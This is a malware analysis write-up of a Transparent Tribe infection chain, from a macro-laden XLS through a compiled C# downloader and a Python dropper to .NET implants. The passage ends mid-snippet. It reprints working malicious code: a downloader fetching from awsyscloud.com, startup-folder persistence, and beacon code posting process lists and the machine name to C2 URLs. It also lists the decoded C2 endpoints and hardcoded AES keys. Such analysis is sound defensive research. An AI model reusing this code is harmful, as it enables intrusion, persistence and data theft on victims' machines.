Taking a look at the infection chain from Transparent Tribe campaign, starting from the malicious document. Covering both code analysis of used samples and steps used by malware to load the final implant. Enjoy!

Introduction

Images embedded in XLS document.

XLS Content XLS Content XLS Content

Process graph of infection (made with Any.Run). Analysis of incident available here.

Process Graph

DSOP_Advance.xls

Let’s start the analysis by firstly taking a look at the malicious document that started this particular attack.

b95e2ec3d72c65dd9495b633a1dbc906|DSOP_Advance.xls

Using olevba tool, we can easily see embedded macros used, but also embedded files that will be later dropped onto the victims machine by previously mentioned macros. In addition to that, we can also see hex decoded strings that were used in the macros, which olevba kindly presented to us.

|Hex String|mntperf!beautybeast |6d6e7470657266216265617574796265617374       |
|Hex String|systemidleperf!beaut|73797374656d69646c657065726621626561757479626|
|          |ybeast              |5617374                                      |
|Hex String|c:\programdata!beaut|633a5c70726f6772616d6461746121626561757479626|
|          |ybeast              |5617374                                      |
|Hex String|\systemidleperf\!beu|5c73797374656d69646c65706572665c2162657561747|
|          |aty                 |9                                            |
|Hex String|.asterik!.zip       |2e6173746572696b212e7a6970                   |
|Hex String|bestoe!systemidleper|626573746f652173797374656d69646c6570657266216|
|          |f!beast             |265617374                                    |
|Hex String|.oxi!.vbs           |2e6f7869212e766273                           |
|Hex String|terminals!systemidle|7465726d696e616c732173797374656d69646c6570657|
|          |perf.vbs            |2662e766273                                  |

Up to this point, we can see something that looks like scrambled filenames and paths to these files - c:\programdata\systemidleperf\systemidleper.vbs and c:\programdata\systemidleperf\systemidleper.zip.

|Hex String|Realtime.cs         |5265616c74696d652e6373                       |
|Hex String|C:\Windows\Microsoft|433a5c57696e646f77735c4d6963726f736f66742e4e4|
|          |.NET\Framework\v4.0.|5545c4672616d65776f726b5c76342e302e3330333139|
|          |30319\csc.exe       |5c6373632e657865                             |

Here we can see really interesting combination - path to csc.exe, which is a C# compiler and a Realtime.cs filename, implicating C# source code.

|Hex String|cmd /c wscript "c:\p|636d64202f6320777363726970742022633a5c70726f6|
|          |rogramdata\systemidl|772616d646174615c73797374656d69646c6570657266|
|          |eperf\systemidleperf|5c73797374656d69646c65706572662e7662732220262|
|          |.vbs" & ""C:\Windows|02222433a5c57696e646f77735c4d6963726f736f6674|
|          |\Microsoft.NET\Frame|2e4e45545c4672616d65776f726b5c76342e302e33303|
|          |work\v4.0.30319\csc.|331395c6373632e6578652222202f743a657865202f6f|
|          |exe"" /t:exe /out:c:|75743a633a5c70726f6772616d646174615c737973746|
|          |\programdata\systemi|56d69646c65706572665c5265616c74696d652e736372|
|          |dleperf\Realtime.scr|20633a5c70726f6772616d646174615c73797374656d6|
|          |c:\programdata\syste|9646c65706572665c5265616c74696d652e6373202620|
|          |midleperf\Realtime.c|633a5c70726f6772616d646174615c73797374656d696|
|          |s & c:\programdata\s|46c65706572665c77696e6470726f63782e7363722022|
|          |ystemidleperf\windpr|22633a5c70726f6772616d646174615c73797374656d6|
|          |ocx.scr ""c:\program|9646c65706572665c5265616c74696d652e7363722222|
|          |data\systemidleperf\|2022222222636d642e657865222222222022222222633|
|          |Realtime.scr""      |a5c70726f6772616d646174615c73797374656d69646c|
|          |""""cmd.exe"""" """"|65706572665c783634692e73637222222222         |
|          |c:\programdata\syste|                                             |
|          |midleperf\x64i.scr""|                                             |
|          |""                  |                                             |

And now we can see what will be executed with these macros. Firstly, we can see that the systemidleperf.vbs will be executed with a wscript binary. Next command will use C# compiler to compile Realtime.cs source code into an EXE caled Realtime.scr. Next step is to, with the help of a file called windproc.scr execute the recently compiled Realtime.scr. Finally, malware will run x64i.scr.

|Hex String|cmd /c c:\programdat|636d64202f6320633a5c70726f6772616d646174615c7|
|          |a\systemidleperf\win|3797374656d69646c65706572665c77696e6470726f63|
|          |dprocx.scr ""c:\prog|782e736372202222633a5c70726f6772616d646174615|
|          |ramdata\systemidlepe|c73797374656d69646c65706572665c5265616c74696d|
|          |rf\Realtime.scr""   |652e73637222222022222222636d642e6578652222222|
|          |""""cmd.exe"""" """"|22022222222633a5c70726f6772616d646174615c7379|
|          |c:\programdata\syste|7374656d69646c65706572665c783634692e736372222|
|          |midleperf\x64i.scr""|22222                                        |
|          |""                  |                                             |
|Hex String|cmd /c wscript "c:\p|636d64202f6320777363726970742022633a5c70726f6|
|          |rogramdata\systemidl|772616d646174615c73797374656d69646c6570657266|
|          |eperf\systemidleperf|5c73797374656d69646c65706572662e7662732220262|
|          |.vbs" & ""C:\Windows|02222433a5c57696e646f77735c4d6963726f736f6674|
|          |\Microsoft.NET\Frame|2e4e45545c4672616d65776f726b5c76332e355c63736|
|          |work\v3.5\csc.exe"" |32e6578652222202f743a657865202f6f75743a633a5c|
|          |/t:exe /out:c:\progr|70726f6772616d646174615c73797374656d69646c657|
|          |amdata\systemidleper|06572665c5265616c74696d652e73637220633a5c7072|
|          |f\Realtime.scr c:\pr|6f6772616d646174615c73797374656d69646c6570657|
|          |ogramdata\systemidle|2665c5265616c74696d652e6373202620633a5c70726f|
|          |perf\Realtime.cs & c|6772616d646174615c73797374656d69646c657065726|
|          |:\programdata\system|65c77696e6470726f632e736372202222633a5c70726f|
|          |idleperf\windproc.sc|6772616d646174615c73797374656d69646c657065726|
|          |r ""c:\programdata\s|65c5265616c74696d652e73637222222022222222636d|
|          |ystemidleperf\Realti|642e657865222222222022222222633a5c70726f67726|
|          |me.scr""            |16d646174615c73797374656d69646c65706572665c78|
|          |""""cmd.exe"""" """"|3634692e73637222222222                       |
|          |c:\programdata\syste|                                             |
|          |midleperf\x64i.scr""|                                             |
|          |""                  |                                             |
|Hex String|cmd /c c:\programdat|636d64202f6320633a5c70726f6772616d646174615c7|
|          |a\systemidleperf\win|3797374656d69646c65706572665c77696e6470726f63|
|          |dproc.scr ""c:\progr|2e736372202222633a5c70726f6772616d646174615c7|
|          |amdata\systemidleper|3797374656d69646c65706572665c5265616c74696d65|
|          |f\Realtime.scr""    |2e73637222222022222222636d642e657865222222222|
|          |""""cmd.exe"""" """"|022222222633a5c70726f6772616d646174615c737973|
|          |c:\programdata\syste|74656d69646c65706572665c73797374656d69646c657|
|          |midleperf\systemidle|06572662e73637222222222                      |
|          |perf.scr""""        |                                             |
|Hex String|cmd /c c:\programdat|636d64202f6320633a5c70726f6772616d646174615c7|
|          |a\systemidleperf\win|3797374656d69646c65706572665c77696e6470726f63|
|          |dproc.scr ""c:\progr|2e736372202222633a5c70726f6772616d646174615c7|
|          |amdata\systemidleper|3797374656d69646c65706572665c5265616c74696d65|
|          |f\Realtime.scr""    |2e73637222222022222222636d642e657865222222222|
|          |""""cmd.exe"""" """"|022222222633a5c70726f6772616d646174615c737973|
|          |c:\programdata\syste|74656d69646c65706572665c783634692e73637222222|
|          |midleperf\x64i.scr""|222                                          |
|          |""                  |                                             |
|Hex String|""c:\programdata\sys|2222633a5c70726f6772616d646174615c73797374656|
|          |temidleperf\Realtime|d69646c65706572665c5265616c74696d652e65786522|
|          |.exe"" ""cmd.exe"" "|22202222636d642e6578652222202222633a5c70726f6|
|          |"c:\programdata\syst|772616d646174615c73797374656d69646c6570657266|
|          |emidleperf\systemidl|5c73797374656d69646c65706572662e7363722222   |
|          |eperf.scr""         |                                             |
+----------+--------------------+---------------------------------------------+

In the last part of the hex strings recovered by the olevba, we can basically see different variations of the commands recently explained. We can see that the C# compiler may vary from version v4.0.30319 to version v3.5.

Finally, looking at the function calls summary, there are some entries that look really suspicious together with the previously analyzed commands.

|AutoExec  |Workbook_Open       |Runs when the Excel Workbook is opened       |
|Suspicious|Open                |May open a file                              |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|Put                 |May write to a file (if combined with Open)  |
|Suspicious|Binary              |May read or write a binary file (if combined |
|          |                    |with Open)                                   |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|WScript.Shell       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Run                 |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Call                |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|MkDir               |May create a directory                       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Lib                 |May run code from a DLL                      |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Windows             |May enumerate application windows (if        |
|          |                    |combined with Shell.Application object)      |
|          |                    |(obfuscation: Hex)                           |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |

systemidleperf.vbs

Okay, so after dumping all the files we can move on and start analyzing what each of them does.

452f8465bab45f0c3c028df1a777e350|systemidleperf.vbs

First thing that get’s executed is the systemidleperf.vbs. After prettifying code, we can see that it’s only purpose is to unpack the contents of systemidleperf.zip.

Const FOF_SILENT = &H4&
Const FOF_NOCONFIRMATION = &H10&
Const FOF_NOERRORUI = &H400&
cFlags = FOF_SILENT + FOF_NOCONFIRMATION + FOF_NOERRORUI
Set oShell = CreateObject("Wscript.Shell")
Dim strArgs
Dim objShell
set objShell = CreateObject("Shell.Application")
set FilesInZip=objShell.NameSpace("c:\programdata\systemidleperf\systemidleperf.zip").items
objShell.NameSpace("c:\programdata\systemidleperf\").CopyHere(FilesInZip),cFlags

systemidleperf.zip

6280bc40960c5282287a4820475b2cff|systemidleperf.zip

Inside of the archive we have following files.

1f137ac28556d4507f97f736b0ac7d45|aeinv.dll
4b78b431f225fd8624c5655cb1de7b61|aelupsvc.dll
341bf386e067095bb17b875a451c96f2|windproc.scr
f78838433e7b090fd9526fa92920a0f6|windprocx.scr

Both DLL’s are Microsoft libraries.

windproc.scr

Looking at the source code of this file in dnSpy, we can see that it’s some version of SilentCMD - open source tool that is used to execute cmd without opening new window.

341bf386e067095bb17b875a451c96f2|windproc.scr
f78838433e7b090fd9526fa92920a0f6|windprocx.scr

SilentCMD

Realtime.cs

After the ZIP archive is extracted, we move onto the Realtime.cs file, which source code is easily available to research for us.

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Text;

namespace Realtime
{
    class Program
    {
        static void Main(string[] args)
        {
            
            WebClient wc = new WebClient();
            wc.DownloadFile("http://www.awsyscloud.com/x64i.scr", @"c:\\programdata\\systemidleperf\\x64i.scr");
            Process proc = new Process();
            proc.StartInfo.FileName = Convert.ToString(args[0]);
            proc.StartInfo.Arguments = "/c " + Convert.ToString(args[1]);
            proc.StartInfo.UseShellExecute = false;
            proc.StartInfo.CreateNoWindow = false;
            proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            proc.Start();

            Environment.Exit(0);
            //Application.Exit();
            /* if (!proc.Start())
             {
                 //Console.WriteLine("Error starting");
                 return;
             }*/
            //proc.WaitForExit();
        }
    }
}

This small program will just download http://www.awsyscloud.com/x64i.scr file and save it into the c:\\programdata\\systemidleperf\\x64i.scr directory. Then it will take first argument passed to it and execute it.

c:\programdata\systemidleperf\windproc.scr c:\programdata\systemidleperf\Realtime.scr cmd.exe c:\programdata\systemidleperf\x64i.scr

As the command line executed together with Realtime.scr looks like this, we can easily see that the process executed by this binary will be x64i.scr executable downloaded by itself and run through the cmd.

x64i.scr

Next step in execution is x64i.scr executable.

d333bae2c45fe431befd7a88f1d7a540|x64i.scr

Looking at the strings in the binary, we can see references to .pyd files, from which we can suspect that this file is actually compiled Python code.

swin32comgenpy
sx64i
b_win32sysloader.pyd
bwin32pipe.pyd
bselect.pyd
bunicodedata.pyd
b_hashlib.pyd
bbz2.pyd
b_ssl.pyd
bwin32ui.pyd
bPyWinTypes27.dll
bpythoncom27.dll
bkernel32.dll
b_ctypes.pyd
bpyexpat.pyd
bwin32trace.pyd
bwin32com.shell.shell.pyd
bwin32api.pyd
b_socket.pyd
bpython27.dll
bCRYPT32.dll
bMicrosoft.VC9

To unpack it, we can use python-exe-unpacker, tool to unpack and decompile Python bytecode. After running it in Python 2 (as it’s the version of Python used in a binary), we can finally see the source code of this sample.

Apart from the usual code, we have two variables storing huge amount of hexadecimal numbers called both bitstream3 and bitstream4.


from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD
import platform
import ctypes
import _winreg
import time
import os
import platform

import binascii
import _winreg
import subprocess

bitstream3 = '<omitted>'
bitstream4 = '<omitted>'

oses = os.name
systems = platform.system()
releases = platform.release()
architectures = platform.architecture()[0]
    
def main():
	try:
		runsameagain()
	except Exception as e:
	    print str(e)
	
def runsameagain():
    global bitstream3
    binstr = bytearray(binascii.unhexlify(bitstream3))
    if not os.path.exists("c:\programdata\SppExtComTel"):
        os.makedirs("c:\programdata\SppExtComTel")
    WriteFile("c:\programdata\SppExtComTel\SppExtComTel.scr",binstr);
    bootup()
    subprocess.Popen(["c:\programdata\SppExtComTel\SppExtComTel.scr", '--brilliance'])
	
def rundifferentagain():
    global bitstream4
    binstr = bytearray(binascii.unhexlify(bitstream4))
    if not os.path.exists("c:\programdata\SppExtComTel"):
        os.makedirs("c:\programdata\SppExtComTel")
    WriteFile("c:\programdata\SppExtComTel\SppExtComTel.scr",binstr);
    bootup()
    subprocess.Popen(["c:\programdata\SppExtComTel\SppExtComTel.scr", '--brilliance'])
	
def Streamers():     
 try:                               
    rundifferentagain()
    return 1               
 except Exception as e:
    print str(e)
		
def WriteFile(filename,data):
    with open(filename,"wb") as output:
	output.write(data)
	
	
def bootup():
    try:
        from win32com.client import Dispatch
        from win32com.shell import shell,shellcon
	dpath = "c:\programdata\SppExtComTel"
        #print "before"
	Start_path = shell.SHGetFolderPath(0, shellcon.CSIDL_STARTUP, 0, 0)
	com_path = os.path.join(Start_path, "SppExtComTel.lnk")
	target = os.path.join(dpath,"SppExtComTel.scr")
	wDir = dpath
	icon = os.path.join(dpath, "SppExtComTel.scr")
	shell = Dispatch('WScript.Shell')
	shortcut = shell.CreateShortCut(com_path)
	shortcut.Targetpath = target
	shortcut.WorkingDirectory = wDir
	shortcut.IconLocation = icon
	shortcut.save()
        #print "there"
        #return True
    except Exception, e:
        print str(e)
		


if __name__ == "__main__":
	try:
	    #print oses
	    #print systems
	    #print releases
	    #print architectures
	    if '.py' not in sys.argv[0]:
		#sys.exit()
                #print "nothign to do"
                if systems == 'Windows' and releases == "7":
                    main()
                elif systems == 'Windows' and (releases == "8.1" or releases == "8"):
                    Streamers()
                elif systems == 'Windows' and releases == "10":
                    #print "Please use a 64 bit version of python"
                    #print "entering streamers"
                    Streamers()
                else:
                    Streamers()
	except Exception as e:
		print str(e)

Malware is used to drop embedded bitstream into c:\programdata\SppExtComTel\SppExtComTel.scr directory. After that, it’s started with hardcoded argument --brilliance. In addition, .lnk file to the SppExtComTel is added to the startup. Embedded are two versions of binaries, with second dropped only if the first failed.

03edfaefb8ef26342a234315b14eae2b  sppextcomtel-scr-bitstream3
95970056e0ff6c26d196496105521c19  sppextcomtel-scr-bitstream4

SppExtComTel.scr

Final implant is another .NET malware, which we can clearly debug using dnSpy. At the .cctor() all variables later used in the code are initialized.

static Form1()
{
	Form1._out = "";
	Form1._dam = Environment.GetFolderPath(Environment.SpecialFolder.System);
	Form1._host = Path.GetTempPath();
	Form1._when = "wq+gZpetsLaWZb2cqbQ=";
	Form1._mit = "u+q6kZ3TeZxcp+uZ";
	Form1._hole = "8a7Cg53uttKd";
	Form1.nice = "46XrXjjr19q23A==";
	Form1._hezzy = "qKidpQ==";
	Form1.nasty = "senAnWuWdculteynk+a46rBblNazmXOC51WRvKvKfJmWn67Td7Dep1/du9qwTqXWuN1cstuk";
	Form1.jungle = "senAnWuWdculteynk+a46rBblNazmXOC51WRvKvKfJmWn67Td7Dep1/cquG4kp/Wusuep+xioOK5";
	Form1.distribution = "47O4eKbftOCQi8XYneColcaCleyj2g==";
	Form1.vc = "4rnIg2ipcdCRi7HQnebvtYJ2nedxvVuOwcabrO54s4VP37WclInD3qjr7XPEe54=";
	Form1._real = "vabEh5fpsA==";
	Form1.peal = "vY6hcn3qp9+Mjbjdoc7zuMh4mw==";
	Form1._self = "gqN+W2OVfw==";
	Form1.red = "w6HoXQ==";
	Form1._to = new byte[]
	{
		121,
		58,
		84,
		57,
		102,
		70,
		106,
		76,
		104,
		35,
		74,
		104
	};
	Form1.house = new byte[]
	{
		72,
		106,
		76,
		83,
		105,
		51,
		110,
		73,
		107,
		76,
		110,
		45,
		111,
		57,
		66
	};
	Form1.pause = new byte[]
	{
		76,
		111,
		33,
		111,
		48,
		66,
		109,
		78,
		43,
		120,
		46,
		120,
		86,
		113
	};
	Form1.right = new byte[]
	{
		72,
		107,
		111,
		45,
		55,
		52,
		103,
		44,
		86,
		104,
		115
	};
	Form1._doll = "";
	Form1._hozz = "";
	Form1._temper = "";
	Form1._chopper = "";
}

Base64 encoded variables will be later decoded, combining with four byte arrays created to the end of the code. Algorithm used is very simple and done with amphibeon function - we iterate over the base64 decoded text that we want to decode, substracting values from passed arays.

private string amphibeon(string text_criptat, string secret_word)
{
	byte[] array = Convert.FromBase64String(text_criptat);
	byte[] bytes = Encoding.UTF8.GetBytes(secret_word);
	byte[] array2 = new byte[array.Length];
	int num = 0;
	for (int i = 0; i < array.Length; i++)
	{
		if (num == bytes.Length)
		{
			num = 0;
		}
		array2[i] = array[i] - bytes[num];
		num++;
	}
	return Encoding.UTF8.GetString(array2);
}

We can see usage of this functions at the Form1_Load which is main function for this malware.

private void Form1_Load(object sender, EventArgs e)
{
	this.amphibeon(Form1.distribution, this.amphibeon(Form1._when, Encoding.UTF8.GetString(Form1.house)));
	string path = this.amphibeon(Form1._mit, this.amphibeon(Form1._when, Encoding.UTF8.GetString(Form1._to)));
	try
	{
		Form1._chopper = this.ReadString(this.amphibeon(Form1._real, this.amphibeon(Form1._when, Encoding.UTF8.GetString(Form1.house))), this.amphibe(Form1.peal, this.amphibeon(Form1._when, Encoding.UTF8.GetString(Form1.house))), null);
		string text = "";
		string text2 = "";
		if (File.Exists(Path.Combine(Form1._dam, path)))
		{
			while (text == "")
			{
				text = this.whatcostus();
			}
			while (text2 == "")
			{
				text2 = this.getusavar();
			}
			if (text != "")
			{
				Form1.putfocus(text, out this.a, out this.b);
				Form1.putfocus(text2, out this.c, out this.d);

Altough manually deobfuscating these strings wouldn’t be such a hard job, I’m going to use built in dnSpy debugger and run through the code.

Deobfuscated rundll32.exe

Here, for example, we can see that path is deobfuscated into rundll32.exe string. Variable called _chopper will use, through function ReadString WMI interface that will read value of CIM_OperatingSystem. Let’s take a look at the next function called - whatcostus

private string whatcostus()
{
	string result = "";
	try
	{
		this._nm = new NameValueCollection();
		new string[this._popp.Length];
		new int[this._popp.Length];
		new string[this._popp.Length];
		int num = 0;
		foreach (Process process in this._popp)
		{
			this._nm[("Numerous~evatron".Split(new char[]
			{
				'~'
			})[0] + num) ?? ""] = string.Concat(new object[]
			{
				process.ProcessName,
				"!~evatron".Split(new char[]
				{
					'~'
				})[0],
				process.Id,
				"!~evatron".Split(new char[]
				{
					'~'
				})[0],
				process.MainWindowTitle,
				"!~evatron".Split(new char[]
				{
					'~'
				})[0]
			});
			num++;
		}
		Uri address = new Uri(this.amphibeon(Form1.nasty, this.amphibeon(Form1._when, Encoding.UTF8.GetString(Form1._to))));
		this._nm["people~evatron".Split(new char[]
		{
			'~'
		})[0]] = Environment.MachineName;
		this._nm["champ~evatron".Split(new char[]
		{
			'~'
		})[0]] = Form1._chopper;
		byte[] bytes = new WebClient().UploadValues(address, "POST~evatron".Split(new char[]
		{
			'~'
		})[0], this._nm);
		result = HttpUtility.HtmlDecode(Encoding.ASCII.GetString(bytes)).ToString();
	}
	catch (Exception)
	{
		result = "";
	}
	return result;
}

Setting a breakpoint at assignment to address variable, we can see decoded URL http://awsyscloud.com/[email protected]!aBbU0le8hiInks/cred!tors.php. Looking at the loop at the function, we can see that it will iterate through the processes on the host and send to this address, via POST request process name, it’s id and main window title.

Numerous0=windproc.scr!3276!!&Numerous1=smss!264!!&Numerous2=svchost!796!!&Numerous3=svchost!1804!!&Numerous4=SppExtComTel.scr!348!!&Numerous5=SearchFilterHost!1860!!&Numerous6=csrss!344!!&Numerous7=svchost!1052!!&Numerous8=winlogon!428!!&Numerous9=windanr!2396!!&Numerous10=cmd!3448!!&Numerous11=EXCEL!3892!Microsoft+Excel+-+Book1++%5bCompatibility+Mode%5d!&Numerous12=OSPPSVC!2556!!&Numerous13=dwm!2044!!&Numerous14=svchost!2196!!&Numerous15=svchost!860!!&Numerous16=svchost!592!!&Numerous17=SearchIndexer!1120!!&Numerous18=ctfmon!652!!&Numerous19=qemu-ga!1428!!&Numerous20=lsm!492!!&Numerous21=svchost!668!!&Numerous22=svchost!756!!&Numerous23=lsass!484!!&Numerous24=conhost!3148!!&Numerous25=csrss!388!!&Numerous26=spoolsv!1188!!&Numerous27=IMEDICTUPDATE!1364!!&Numerous28=services!472!!&Numerous29=taskeng!1984!!&Numerous30=wininit!380!!&Numerous31=svchost!824!!&Numerous32=taskhost!1968!!&Numerous33=explorer!372!!&Numerous34=SearchProtocolHost!3548!!&Numerous35=svchost!1216!!&Numerous36=System!4!!&Numerous37=Idle!0!!&people=USER-PC&champ=Microsoft+Windows+7+Professional+

In addition, machine name and the value of _chopper will be sent. We can confirm it looking at Any.Run HTTP requests tab.

while (text == "")
{
	text = this.whatcostus();
}

As this function will run in the loop, until it returns something other than empty string, we can modify this value in order to move to the next function - getusavar.

private string getusavar()
{
	string result = "";
	try
	{
		Uri address = new Uri(this.amphibeon(Form1.jungle, this.amphibeon(Form1._when, Encoding.UTF8.GetString(Form1._to))));
		byte[] bytes = new WebClient().UploadValues(address, "POST~evatron".Split(new char[]
		{
			'~'
		})[0], this._nm);
		result = HttpUtility.HtmlDecode(Encoding.ASCII.GetString(bytes)).ToString();
	}
	catch (Exception)
	{
		result = "";
	}
	return result;
}

This time our URL is a little bit different than the last time - http://awsyscloud.com/[email protected]!aBbU0le8hiInks/ballenotapey.php. As value sent via POST request is still coming from _nm variable, we can suspect that the content is still the same.

One thing we couldn’t see in our debugging session is the values returned from the C2 upon the requests sent from this implant. Here they are.

  • from cred!tors.php
"finality":"http:\/\/awsyscloud.com\/[email protected]!aBbU0le8hiInks\/B\/3500\/","helper":"http:\/\/awsyscloud.com\/[email protected]!aBbU0le8hiInks\/D\/3500\/"}
  • from ballenotapey.php
{"finality":"m1ssh0upUuchCukXanevPozlu.dll","helper":"p2ehtHero0paSth3end.dll"}

Later on these, DLL’s will be downloaded.

	if (!File.Exists(Path.Combine(Form1._host, text4)))
	{
		this._interpret = str2 + text4;
		byte[] bytes = new WebClient().DownloadData(this._interpret);
		File.WriteAllBytes(Path.Combine(Form1._host, text4), bytes);
		File.Copy(Path.Combine(Form1._host, text4), Path.Combine(Form1._host, this.amphibeon(Form1.nice, this.amphibeon(Form1._wEncoding.UTF8.GetString(Form1.pause))) + this.amphibeon(Form1._hezzy, this.amphibeon(Form1._when, Encoding.UTF8.GetString(Form1.right))));
	}
	if (!File.Exists(Path.Combine(Form1._host, text3)))
	{
		this._compile = str + text3;
		byte[] bytes2 = new WebClient().DownloadData(this._compile);
		File.WriteAllBytes(Path.Combine(Form1._host, text3), bytes2);
		File.Copy(Path.Combine(Form1._host, text3), Path.Combine(Form1._host, this.amphibeon(Form1._hole, this.amphibeon(Form1._wEncoding.UTF8.GetString(Form1.house))) + this.amphibeon(Form1._hezzy, this.amphibeon(Form1._when, Encoding.UTF8.GetString(Form1.right))));
		this.Remittance(2000, "indexerservice.Program");
	}
	else
	{
		this.Remittance(2000, "indexerservice.Program");
	}
}

One last thing to check with this sample is Remittance function. Let’s see what it does.

public void Remittance(int counter, string text)
{
	int num = 0;
	object obj = null;
	Form1.hiund = Assembly.LoadFrom(Path.Combine(Path.GetTempPath(), "winpotter.dll"));
	if (Form1.hiund.FullName.Contains("9.2.2.9"))
	{
		obj = Form1.hiund.CreateInstance(text, true, ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public), null, null, null, null);
		num++;
	}
	if (num != 3)
	{
		MethodInfo method = obj.GetType().GetMethod("Main", ~(BindingFlags.IgnoreCase | BindingFlags.DeclaredOnly | BindingFlags.Public));
		if (method.Name != null)
		{
			Thread.Sleep(counter);
			method.Invoke(null, null);
		}
	}
}

Here, winpotter.dll willbe loaded as an assembly and method called Main will be invoked after 2000 miliseconds.

winpotter.dll

Winpotter MD5

As this DLL is just renamed m1ssh0upUuchCukXanevPozlu.dll, and is written using .NET, we can load it into dnSpy and check it’s functionality. But first thing first, let’s look at company name :D

[assembly: AssemblyCompany("Adobbe Reader Component")]

Main method Main is a part of Program class and is just a call to CallFirm from tender class.

private static int Main()
{
	new tender().CallFirm();
	return 1;
}

Here, three calls to GenerateStaticKeys, Translate and _showme.

public void CallFirm()
{
	this._pep.GenerateStaticKeys();
	this.Translate();
	this._showme();
}

Our static keys are just hardcoded values.

public void GenerateStaticKeys()
{
	this.Key = new byte[]
	{
		25,
		180,
		214,
		210,
		171,
		118,
		192,
		16,
		246,
		44,
		63,
		134,
		107,
		98,
		172,
		48,
		14,
		143,
		140,
		55,
		31,
		163,
		14,
		150,
		251,
		169,
		245,
		207,
		81,
		87,
		97,
		199
	};
	this.IV = new byte[]
	{
		199,
		24,
		200,
		111,
		19,
		31,
		209,
		174,
		221,
		190,
		28,
		183,
		86,
		105,
		128,
		214
	};
}

After that Translate function is used to decrypt all the global values stored inside this sample using AES algorithm.

private void Translate()
{
	AllApps._trans = new friends();
	AllApps._trans.Giber = this._pep.Decrypt(AllApps._giber);
	AllApps._trans.Ish = this._pep.Decrypt(AllApps._ish);
	AllApps._trans.Text = this._pep.Decrypt(AllApps._text);
	AllApps._trans.Os1 = this._pep.Decrypt(AllApps._os1);
	AllApps._trans.Os2 = this._pep.Decrypt(AllApps._os2);
	AllApps._trans.Os3 = this._pep.Decrypt(AllApps._os3);
	AllApps._trans.Os4 = this._pep.Decrypt(AllApps._os4);
	AllApps._trans.Os5 = this._pep.Decrypt(AllApps._os5);
	AllApps._trans.OsTypical = this._pep.Decrypt(AllApps._os_typical);
	AllApps._trans.SecUap = this._pep.Decrypt(AllApps._sec_uap);
	AllApps._trans.SecUAPHelper = this._pep.Decrypt(AllApps._sec_uap_helper);
	AllApps._trans.SecMes = this._pep.Decrypt(AllApps._sec_mes);
	AllApps._trans.SecMesHelper = this._pep.Decrypt(AllApps._sec_mes_helper);
	AllApps._trans.UserComp = this._pep.Decrypt(AllApps._usercomp);
	AllApps._trans.PComp = this._pep.Decrypt(AllApps._pcomp);
	AllApps._trans.Code1 = this._pep.Decrypt(AllApps._code1);
	AllApps._trans.Code2 = this._pep.Decrypt(AllApps._code2);
	AllApps._trans.Code3 = this._pep.Decrypt(AllApps._code3);
	AllApps._trans.Code4 = this._pep.Decrypt(AllApps._code4);
	AllApps._trans.Code5 = this._pep.Decrypt(AllApps._code5);
	AllApps._trans.Code6 = this._pep.Decrypt(AllApps._code6);
...
}


public string Decrypt(string cipherText)
{
	return this.Decrypt2(ABSBrakes.FromUrlSafeBase64(cipherText));
}

private string Decrypt2(byte[] cipherText)
{
	string text = "";
	string result;
	try
	{
		RijndaelManaged rijndaelManaged = new RijndaelManaged();
		rijndaelManaged.Padding = PaddingMode.PKCS7;
		rijndaelManaged.Mode = CipherMode.CBC;
		rijndaelManaged.KeySize = 256;
		rijndaelManaged.Key = this.Key;
		rijndaelManaged.IV = this.IV;
		ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rijndaelManaged.Key, rijndaelManaged.IV);
		MemoryStream memoryStream = new MemoryStream(cipherText);
		CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
		StreamReader streamReader = new StreamReader(cryptoStream);
		text = streamReader.ReadToEnd();
		streamReader.Close();
		cryptoStream.Close();
		memoryStream.Close();
		rijndaelManaged.Clear();
		result = text;
	}
	catch (Exception)
	{
		result = text;
	}
	return result;
}

We can easily decrypt those values with a small python snippet.

import sys
from malduck import *
from base64 import b64decode

if len(sys.argv) < 2:
